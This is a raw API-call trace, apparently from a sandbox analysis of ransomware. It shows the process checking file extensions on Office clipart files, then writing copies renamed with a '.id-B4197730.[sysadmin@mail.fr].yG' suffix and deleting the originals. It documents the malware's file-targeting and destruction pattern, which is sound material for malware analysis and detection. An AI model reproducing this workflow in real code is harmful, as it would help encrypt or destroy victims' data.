	[0156.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString=".7z") returned 3
	[0156.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.626] lstrlenW (lpString=".dbf") returned 4
	[0156.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.626] lstrlenW (lpString=".1cd") returned 4
	[0156.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.626] lstrlenW (lpString=".jpg") returned 4
	[0156.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.627] lstrlenW (lpString=".doc") returned 4
	[0156.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.627] lstrlenW (lpString=".docx") returned 5
	[0156.627] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0156.627] lstrlenW (lpString=".pdf") returned 4
	[0156.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.627] lstrlenW (lpString=".xls") returned 4
	[0156.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.627] lstrlenW (lpString=".xlsx") returned 5
	[0156.627] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0156.627] lstrlenW (lpString=".ppt") returned 4
	[0156.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.627] lstrlenW (lpString=".zip") returned 4
	[0156.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.627] lstrlenW (lpString=".rar") returned 4
	[0156.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.627] lstrlenW (lpString=".bz2") returned 4
	[0156.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.627] lstrlenW (lpString=".7z") returned 3
	[0156.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.627] lstrlenW (lpString=".dbf") returned 4
	[0156.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.628] lstrlenW (lpString=".1cd") returned 4
	[0156.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.628] lstrlenW (lpString=".jpg") returned 4
	[0156.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.849] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=27546) returned 1
	[0156.849] CloseHandle (hObject=0x350) returned 1
	[0156.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220
	[0156.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.850] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.850] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.851] GetLastError () returned 0x0
	[0156.851] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x6b9a, lpOverlapped=0x0) returned 1
	[0156.858] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x6ba0, lpOverlapped=0x0) returned 1
	[0156.860] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.860] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.860] SetEndOfFile (hFile=0x518) returned 1
	[0156.860] CloseHandle (hObject=0x518) returned 1
	[0156.861] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.861] SetEndOfFile (hFile=0x350) returned 1
	[0156.865] CloseHandle (hObject=0x350) returned 1
	[0156.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0156.867] lstrlenW (lpString=".doc") returned 4
	[0156.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.867] lstrlenW (lpString=".docx") returned 5
	[0156.867] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0156.867] lstrlenW (lpString=".pdf") returned 4
	[0156.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.867] lstrlenW (lpString=".xls") returned 4
	[0156.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.867] lstrlenW (lpString=".xlsx") returned 5
	[0156.867] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0156.867] lstrlenW (lpString=".ppt") returned 4
	[0156.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0156.867] lstrlenW (lpString=".zip") returned 4
	[0156.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.867] lstrlenW (lpString=".rar") returned 4
	[0156.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.868] lstrlenW (lpString=".bz2") returned 4
	[0156.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.868] lstrlenW (lpString=".7z") returned 3
	[0156.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0156.868] lstrlenW (lpString=".dbf") returned 4
	[0156.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0156.868] lstrlenW (lpString=".1cd") returned 4
	[0156.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0156.868] lstrlenW (lpString=".jpg") returned 4
	[0156.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.869] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=22356) returned 1
	[0156.869] CloseHandle (hObject=0x350) returned 1
	[0156.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220
	[0156.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.870] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.870] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.871] GetLastError () returned 0x0
	[0156.871] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x5754, lpOverlapped=0x0) returned 1
	[0156.881] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x5760, lpOverlapped=0x0) returned 1
	[0156.883] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.883] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.883] SetEndOfFile (hFile=0x518) returned 1
	[0156.883] CloseHandle (hObject=0x518) returned 1
	[0156.883] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.883] SetEndOfFile (hFile=0x350) returned 1
	[0156.888] CloseHandle (hObject=0x350) returned 1
	[0156.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0156.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0156.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0156.889] lstrlenW (lpString=".doc") returned 4
	[0156.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.889] lstrlenW (lpString=".docx") returned 5
	[0156.889] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0156.889] lstrlenW (lpString=".pdf") returned 4
	[0156.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.889] lstrlenW (lpString=".xls") returned 4
	[0156.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.889] lstrlenW (lpString=".xlsx") returned 5
	[0156.890] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0156.890] lstrlenW (lpString=".ppt") returned 4
	[0156.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0156.890] lstrlenW (lpString=".zip") returned 4
	[0156.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.890] lstrlenW (lpString=".rar") returned 4
	[0156.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.890] lstrlenW (lpString=".bz2") returned 4
	[0156.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.890] lstrlenW (lpString=".7z") returned 3
	[0156.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0156.890] lstrlenW (lpString=".dbf") returned 4
	[0156.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0156.890] lstrlenW (lpString=".1cd") returned 4
	[0156.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0156.890] lstrlenW (lpString=".jpg") returned 4
	[0156.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.891] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=21946) returned 1
	[0156.891] CloseHandle (hObject=0x350) returned 1
	[0156.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220
	[0156.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.892] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.893] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0156.940] GetLastError () returned 0x0
	[0156.940] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x55ba, lpOverlapped=0x0) returned 1
	[0156.943] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x55c0, lpOverlapped=0x0) returned 1
	[0156.944] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.944] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.945] SetEndOfFile (hFile=0x54c) returned 1
	[0156.945] CloseHandle (hObject=0x54c) returned 1
	[0156.945] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.945] SetEndOfFile (hFile=0x350) returned 1
	[0156.949] CloseHandle (hObject=0x350) returned 1
	[0156.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0156.960] lstrlenW (lpString=".doc") returned 4
	[0156.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.960] lstrlenW (lpString=".docx") returned 5
	[0156.960] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0156.960] lstrlenW (lpString=".pdf") returned 4
	[0156.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.960] lstrlenW (lpString=".xls") returned 4
	[0156.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.960] lstrlenW (lpString=".xlsx") returned 5
	[0156.960] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0156.960] lstrlenW (lpString=".ppt") returned 4
	[0156.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0156.960] lstrlenW (lpString=".zip") returned 4
	[0156.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.961] lstrlenW (lpString=".rar") returned 4
	[0156.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.961] lstrlenW (lpString=".bz2") returned 4
	[0156.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.961] lstrlenW (lpString=".7z") returned 3
	[0156.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0156.961] lstrlenW (lpString=".dbf") returned 4
	[0156.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0156.961] lstrlenW (lpString=".1cd") returned 4
	[0156.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0156.961] lstrlenW (lpString=".jpg") returned 4
	[0156.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.963] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=43949) returned 1
	[0156.963] CloseHandle (hObject=0x350) returned 1
	[0156.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220
	[0156.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.964] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.964] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0156.965] GetLastError () returned 0x0
	[0156.965] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xabad, lpOverlapped=0x0) returned 1
	[0156.977] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xabb0, lpOverlapped=0x0) returned 1
	[0156.979] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.980] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.980] SetEndOfFile (hFile=0x54c) returned 1
	[0156.980] CloseHandle (hObject=0x54c) returned 1
	[0156.980] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.980] SetEndOfFile (hFile=0x350) returned 1
	[0156.985] CloseHandle (hObject=0x350) returned 1
	[0156.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0156.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
